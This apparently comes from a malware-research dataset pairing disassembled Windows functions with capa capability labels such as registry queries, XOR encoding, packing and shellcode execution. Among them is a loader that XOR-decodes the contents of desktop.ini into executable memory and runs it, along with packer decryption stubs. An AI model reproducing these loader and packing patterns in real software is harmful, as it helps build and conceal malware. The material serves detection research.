joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4110df
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00407b56
xor ebx, ebx
cmp dword [0x418b50], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x4111b5
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x411295
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x414b48
push edi
call esi
cmp eax, ebx
je 0x411295
push eax
call fcn.00407ae8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x418b50], eax
call esi
push eax
call fcn.00407ae8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x418b54], eax
call esi
push eax
call fcn.00407ae8
mov dword [0x418b58], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040b5e1
test eax, eax
pop ecx
pop ecx
je 0x411183
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00408118
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x4111b5
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00407ae8
cmp eax, ebx
pop ecx
mov dword [0x418b60], eax
je 0x4111b5
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00407ae8
pop ecx
mov dword [0x418b5c], eax
mov eax, dword [0x418b5c]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x41123a
cmp dword [0x418b60], ecx
je 0x41123a
push eax
call fcn.00407b5f
push dword [0x418b60]
mov esi, eax
call fcn.00407b5f
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x41123a
cmp edi, ebx
je 0x41123a
call esi
cmp eax, ebx
je 0x411207
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x411207
test byte [ebp - 0x18], 1
jne 0x41123a
lea eax, [ebp - 0x10]
push eax
call fcn.0040b618
test eax, eax
pop ecx
je 0x411222
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00408118
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x411231
or dword [ebp + 0x10], 0x200000
jmp 0x411275
or dword [ebp + 0x10], 0x40000
jmp 0x411275
mov eax, dword [0x418b54]
cmp eax, dword [ebp - 8]
je 0x411275
push eax
call fcn.00407b5f
cmp eax, ebx
pop ecx
je 0x411275
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x411275
mov eax, dword [0x418b58]
cmp eax, dword [ebp - 8]
je 0x411275
push eax
call fcn.00407b5f
cmp eax, ebx
pop ecx
je 0x411275
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x418b50]
call fcn.00407b5f
cmp eax, ebx
pop ecx
je 0x411295
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x411297
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401030
Capabilities:
Get file attributes

Disassembly:
push ebx
push esi
xor esi, esi
push edi
cmp dword [0x415170], esi
jne 0x40106c
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
jns 0x401062
push str.___.___
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push str.Unicows.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x41516c], eax
mov dword [0x415170], 1
mov eax, dword [0x41516c]
mov edi, dword [esp + 0x18]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401089
push edi
push eax
call ebx
mov esi, eax
test esi, esi
jne 0x4010c5
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [ebp]
test eax, eax
jne 0x4010ba
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
mov eax, dword [esp + 0x14]
jns 0x4010ab
mov ecx, dword [eax + 0xc]
mov edx, dword [eax + 8]
jmp 0x4010b0
mov ecx, dword [eax + 4]
mov edx, dword [eax]
push ecx
call edx
test eax, eax
je 0x4010cd
mov dword [ebp], eax
push edi
push eax
call ebx
pop ebp
pop edi
pop esi
pop ebx
ret 0xc
pop edi
mov eax, esi
pop esi
pop ebx
ret 0xc
pop ebp
pop edi
mov eax, esi
pop esi
pop ebx
ret 0xc

Function at 0x401570
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x220
mov eax, dword [0x415120]
xor eax, esp
mov dword [esp + 0x21c], eax
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push esi
mov esi, dword [esp + 0x23c]
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x2a]
push ecx
mov dword [esp + 0x1c], 0
mov word [esp + 0x2c], ax
call sub.MSVCR90.dll_memset
mov bx, word [esp + 0x244]
xor edx, edx
add esp, 0xc
cmp dword [esp + 0x234], edx
mov dword [esp + 0x14], 0
sete dl
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 4
mov dword [esp + 0xc], edx
test bx, bx
je 0x4015fd
push str.SoftwareAdobeAcrobat_Reader10.0FeatureState
push 0x104
lea eax, [esp + 0x28]
push eax
jmp 0x40160c
push str.SoftwareAdobeAdobe_Acrobat10.0FeatureState
push 0x104
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.MSVCR90.dll_wcscpy_s]
add esp, 0xc
lea edx, [esp + 0x10]
push edx
push 0x20019
push 0
lea eax, [esp + 0x2c]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401695
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x1c]
push eax
push 0
push ebp
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x401677
cmp dword [esp + 0x14], 4
jne 0x401677
mov ecx, dword [esp + 0x10]
xor edx, edx
cmp dword [esp + 0x18], edx
push ecx
setne dl
mov dword [esp + 0x10], edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4016a6
test bx, bx
je 0x401688
test esi, esi
je 0x401688
mov eax, 1
mov word [esi], ax
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4016a6
test bx, bx
je 0x4016a6
test esi, esi
je 0x4016a6
mov edx, 1
mov word [esi], dx
mov ecx, dword [esp + 0x228]
mov ax, word [esp + 0xc]
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040cef9
add esp, 0x220
ret
Function at 0x4017f0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x674
mov eax, dword [0x415120]
xor eax, esp
mov dword [esp + 0x670], eax
push ebx
push ebp
mov ebp, dword [esp + 0x680]
push esi
push edi
mov edi, dword [esp + 0x68c]
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x27a]
push ecx
mov dword [esp + 0x20], ebp
mov word [esp + 0x27c], ax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x40f548
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [esp + 0x20], 0x104
xor esi, esi
mov bl, 1
call ebp
lea edx, [esp + 0x10]
push edx
push 0x20019
push esi
push str.SoftwareAdobeAcrobat_Reader10.0Languagecurrent
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4018fb
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x274]
push ecx
push esi
push esi
push 0x40f4d8
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4018f0
push eax
push str.3156557
call fcn.004016d0
movzx eax, ax
add esp, 8
mov dword [esp + 0x1c], eax
test ax, ax
je 0x4019d1
lea eax, [esp + 0x270]
push 0x104
push eax
call dword [sym.imp.MSVCR90.dll_wcsnlen]
add esp, 8
cmp eax, 0x104
je 0x4018ee
cmp eax, 3
jle 0x4018ee
lea esi, [esp + eax*2 + 0x26a]
push esi
call fcn.004017b0
add esp, 4
test al, al
jne 0x4018f0
xor bl, bl
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp word [esp + 0x1c], 0
je 0x40190b
test bl, bl
je 0x4019b8
test esi, esi
je 0x4019b8
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 3
jne 0x4019b8
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x482]
push ecx
mov word [esp + 0x484], ax
call sub.MSVCR90.dll_memset
add esp, 0xc
push edi
lea edx, [esp + 0x47c]
push edx
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.Legal_
lea eax, [esp + 0x47c]
push eax
call edi
push esi
lea ecx, [esp + 0x47c]
push ecx
call edi
push 0x24c
lea edx, [esp + 0x28]
push 0
push edx
mov dword [esp + 0x2c], 0
call sub.MSVCR90.dll_memset
add esp, 0xc
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x47c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x4019b8
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
test byte [esp + 0x20], 0x10
je 0x4019b8
mov edx, dword [esp + 0x14]
push esi
push edx
call ebp
mov ecx, dword [esp + 0x680]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040cef9
add esp, 0x674
ret
lea ecx, [esp + 0x270]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [esp + eax*2 + 0x26a]
jmp 0x4018f0
Function at 0x401d70
Capabilities:
Print debug messages

Disassembly:
push edi
xor edi, edi
cmp dword [0x415150], edi
je 0x401d86
push str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp dword [0x415148], edi
je 0x401d97
mov eax, 1
pop edi
ret 4
push esi
cmp dword [0x415150], edi
jne 0x401da9
call fcn.00401b60
test eax, eax
je 0x401deb
mov eax, dword [0x41517c]
mov esi, dword [0x414010]
test eax, eax
jne 0x401dd5
push str.ActivateActCtx
push 0x415174
push 0x40f3b8
call fcn.00401030
mov dword [0x41517c], eax
test eax, eax
je 0x401deb
mov ecx, dword [esp + 0xc]
push ecx
push esi
call eax
test eax, eax
je 0x401deb
pop esi
mov eax, 1
pop edi
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7f
je 0x401e00
cmp eax, 0x7e
je 0x401e00
cmp eax, 0x78
jne 0x401e0f
mov eax, 1
pop esi
mov dword [0x415148], eax
pop edi
ret 4
pop esi
mov eax, edi
pop edi
ret 4

Function at 0x402df0
Capabilities:
Read .ini file

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x18]
mov dword [esp + 8], ecx
xor ecx, ecx
mov eax, ebp
mov edx, 2
mul edx
seto cl
push esi
push edi
neg ecx
or ecx, eax
push ecx
call sub.MSVCR90.dll_void____cdecl_operator_new___unsigned_int_
lea ebx, [ebp + ebp]
push ebx
mov esi, eax
push 0
push esi
call sub.MSVCR90.dll_memset
mov edi, dword [esp + 0x2c]
add esp, 0x10
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push ebx
push 0
push edi
call sub.MSVCR90.dll_memset
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x24]
add esp, 0xc
add eax, 0x254
push eax
push ebp
push edi
push esi
push ecx
push str.labels
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc
Function at 0x40bb40
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
call fcn.0040b9a0
mov edi, dword [esp + 0x20]
mov esi, dword [esp + 0x1c]
mov ebx, dword [sym.imp.KERNEL32.dll_FindResourceW]
push 5
push edi
push esi
mov dword [esp + 0x20], 0xffffffff
call ebx
mov ebp, eax
test ebp, ebp
je 0x40bc23
push 0xf0
push edi
push esi
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadResource]
xor edi, edi
test eax, eax
je 0x40bb94
push eax
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push ebp
push esi
mov dword [esp + 0x18], 0
call ebx
test eax, eax
je 0x40bbfc
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x40bbfc
push edi
push ebx
call fcn.004013a0
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x2c]
add esp, 8
mov edi, eax
mov eax, dword [esp + 0x2c]
push eax
push ecx
push edx
push edi
push esi
call fcn.00402020
mov esi, eax
test esi, esi
je 0x40bbde
cmp esi, 0xffffffff
jne 0x40bbe8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x10], eax
cmp edi, ebx
je 0x40bc0a
push edi
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x40bc0a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [esp + 0x14]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
test eax, eax
je 0x40bc19
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
ret
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x40cbef
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x415250], 0
push esi
jne 0x40cb62
call fcn.0040ca88
test eax, eax
je 0x40cba5
mov eax, dword [0x415250]
cmp eax, 1
jne 0x40cb83
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x40cba5
pop esi
ret
push eax
call dword [0x415258]
test eax, eax
jne 0x40cbed
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x40cba9
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x415250]
call dword [0x415258]
mov edi, eax
test edi, edi
je 0x40cbce
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40cbea
mov edi, esi
add esi, 0xff0
push edi
push dword [0x415250]
call dword [0x415254]
add edi, 0x10
cmp edi, esi
jb 0x40cbd6
mov eax, edi
pop edi
pop esi
ret
jmp 0x40cb4f

Function at 0x40cef9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x415120]
jne 0x40cf03
repz ret
jmp fcn.0040d422
Function at 0x42e006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..reloc
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x6abf3283
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x7d655054
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x108f058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.0108f1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x108f07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x108f06a
add dl, dl
jne 0x108f089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x108f0dc
xor eax, eax
add dl, dl
jne 0x108f096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x108f17d
add dl, dl
jne 0x108f0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x108f0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x108f0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x108f0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x108f0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x108f075
mov eax, 1
add dl, dl
jne 0x108f0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x108f0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x108f0e1
sub eax, ebx
mov ebx, 1
jne 0x108f128
mov ecx, 1
add dl, dl
jne 0x108f10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x108f119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x108f105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x108f075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x108f13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x108f14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x108f136
cmp eax, 0x7d00
jae 0x108f16d
cmp eax, 0x500
jb 0x108f168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x108f075
cmp eax, 0x7f
ja 0x108f170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x108f075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x108f19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x108f075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x417d8e
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ss
push ss
jle 0x417dfa
pop es
js 0x417d8d
aas
invalid

Function at 0x45d3d2
Capabilities:
Encode data using xor

Disassembly:
out 0xb7, al
invalid
cli
call 0x151640e8
dec ecx
jae 0x45d34a
or eax, 0xcc70868f
js 0x45d3f6
stosd dword es:[edi], eax
iretd
push esp
arpl word [edx], bp
mov bl, 0x1b
movsd dword es:[edi], dword [esi]
pop esi
sub dword [ecx - 0x37], edi
nop
fisubr dword [ecx]
rcr byte [edi], 0x7e
cld
mov ah, 0x19
aad 0x9e
push ecx
push edx
jmp 0x45d37a
and ch, byte [ecx]
cmp byte [ebx - 0x6b], ah
pop edi
xor dword [edi + 0x11], esp
cmp dword [ebp - 0x60], eax
clc
jmp 0x45d452
jbe 0x45d491
pop edx
lodsd eax, dword [esi]
pop edx
jne 0x45d3bd
mov byte [edi - 3], al
and ebp, edi
stosb byte es:[edi], al
cld
in eax, 0x71
and eax, 0xe5d69a05
insb byte es:[edi], dx
invalid
inc ax
mov dh, 0xe7
xor dh, bh
loopne 0x45d423
cmp byte [ebp - 0x7a], dh
jns 0x45d4cc
enter 0xffffffffffff9b76, 0xffffffffffffffde
ret
push es
adc eax, 0xd75ec094
mov edx, 0xaf73eef4
jae 0x45d4f7
mov ch, 0xbf
sub dword [edi + 0x2e], esi
mov edx, 0xafa8dbc9
adc byte [eax - 0x17], bh
lodsb al, byte [esi]
aad 0x18
test dword [edx + eax - 0xfb6d134], edi
stosd dword es:[edi], eax
and dword [ebx + 0x40], esp
idiv byte [edi + 0x3506a1e0]
out dx, al
aaa
invalid
or dword [ebp - 0x75], eax
mov edx, dword [esi - 0x2d]
invalid
adc al, 0x73
out dx, al
mov ch, 0xee
mov cl, 0x6f
or al, 0x26
inc esp
dec esp
div byte [eax - 0x510c70a]
and dh, byte fs:[ebx - 0x32]
mov bh, 0xed
pop ds
push esp
mov al, 0xfa

Function at 0x47471e
Capabilities:
Encode data using xor

Disassembly:
test byte [eax], al
pushfd
lodsd eax, dword [esi]
push ecx
lds esp, [ebx - 0x45]
mov ebx, 0x99b2da1
sbb ax, ax
lodsb al, byte [esi]
mov byte [0x9dca4543], al
push edx
pop edx
cli
bound ecx, qword [eax]
jg 0x4746f7
adc al, 0x77
push es
sub dl, cl
insb byte es:[edi], dx
cdq
mov ch, byte [eax + 0x1d]
aas
invalid

Function at 0x47476a
Capabilities:
Encode data using xor

Disassembly:
mov byte [esi], ah
mov cl, byte [eax + 0x1a345bfa]
adc bh, byte es:[ebp - 0x5f6af676]
inc ebx
sbb ch, byte [eax]
psraw mm3, qword [ecx + 0xae43fd3]
add byte [eax], dh
test dword [bp + 0xc0b], ebx
lcall 0x8a14, 0xcaf69ae4
cmpsd dword [esi], dword es:[edi]
dec ebp
inc esp
popfd
lodsd eax, dword [esi]
mov ah, 0x42
mov edx, 0x88b13d12
aas
sti
stosb byte es:[edi], al
pop edx
cmp al, 0xfd
cmp dword [ebp + 0x64], esi
prefetcht1 byte [ecx + esi*2 - 0x4799ae78]
stosb byte es:[edi], al
adc al, 0x5f
stc
sbb al, 0x4e
adc esp, dword [ebp - 0x4d61084c]
jmp 0xa4f3a939
Function at 0x4bbee1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c3408
cmp edx, dword [eax]
je 0x4bbf03
add eax, 8
inc ecx
cmp eax, 0x4c3498
jl 0x4bbef4
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c3408]
jne 0x4bc031
mov eax, dword [0x4c8e30]
cmp eax, 1
je 0x4bc00b
test eax, eax
jne 0x4bbf34
cmp dword [0x4c3334], 1
je 0x4bc00b
cmp edx, 0xfc
je 0x4bc031
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bbf6b
lea eax, [ebp - 0x1a4]
push 0x4c16b0
push eax
call fcn.004bc8c0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bcd50
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bbfae
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bcd50
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c16ac
push edi
call fcn.004bec20
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4c1690
push eax
call fcn.004bc8c0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bc8d0
lea eax, [ebp - 0xa0]
push 0x4c168c
push eax
call fcn.004bc8d0
push dword [esi + 0x4c340c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bc8d0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4c1664
push eax
call fcn.004beb94
add esp, 0x2c
pop edi
jmp 0x4bc031
lea eax, [ebp + 8]
lea esi, [esi + 0x4c340c]
push 0
push eax
push dword [esi]
call fcn.004bcd50
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x40a230
Capabilities:
Get file attributes

Disassembly:
call fcn.004049b0
push eax
call sub.kernel32.dll_GetFileAttributesA
inc eax
je 0x40a244
dec eax
and al, 0x10
sete al
ret

Function at 0x40a2a0
Capabilities:
Get common file path

Disassembly:
push eax
sub esp, 0x108
push esp
push 0x105
call sub.kernel32.dll_GetTempPathA
mov edx, esp
mov eax, dword [esp + 0x108]
call fcn.00403540
add esp, 0x108
pop edx
mov eax, dword [edx]
call fcn.00404fd4
ret

Function at 0x40a300
Capabilities:
Read .ini file

Disassembly:
or eax, 0
je 0x40a2f2
lea eax, [esi + 4]
call fcn.00404e7c
mov dword [esi], eax
lea edx, [esi + 4]
inc eax
add esi, eax
mov eax, edi
call fcn.004090ec
cmp byte [esi + 4], 0
jne 0x40a2d5
pop eax
call fcn.004027f0
pop ecx
pop ebx
pop edi
pop esi
ret
push esi
push edi
push ebx
push ecx
mov ebx, eax
mov eax, 0x8003
mov edi, edx
call fcn.004027c0
mov esi, eax
push eax
or byte [ebx + 0x18], 0
jne 0x40a335
push dword [ebx + 0x19]
mov eax, 0x7fff
push eax
lea eax, [esi + 4]
push eax
push dword [ebx + 0x1d]
call sub.kernel32.dll_GetPrivateProfileSectionA
jmp 0x40a2d0
push ebx
push esi
push edx
push ebp
mov edx, 0
mov ebp, dword [edi + 0x1c]
mov ebx, 0x7ffd
or ebp, ebp
je 0x40a376
or ebx, ebx
je 0x40a376
push edx
mov eax, edi
call fcn.0040613c
push eax
call fcn.00404e7c
pop eax
xor ecx, 0xffffffff
mov edx, esi
sub ebx, ecx
ja 0x40a36a
add ecx, ebx
xor ebx, ebx
add esi, ecx
call fcn.004028d4
pop edx
inc edx
dec ebp
jmp 0x40a348
mov word [esi], 0
pop ebp
pop edx
pop esi
pop ebx
mov eax, ebx
call fcn.00405430
push dword [ebx + 0x19]
push esi
push dword [ebx + 0x1d]
call sub.kernel32.dll_WritePrivateProfileSectionA
pop eax
call fcn.004027f0
pop ecx
pop ebx
pop edi
pop esi
ret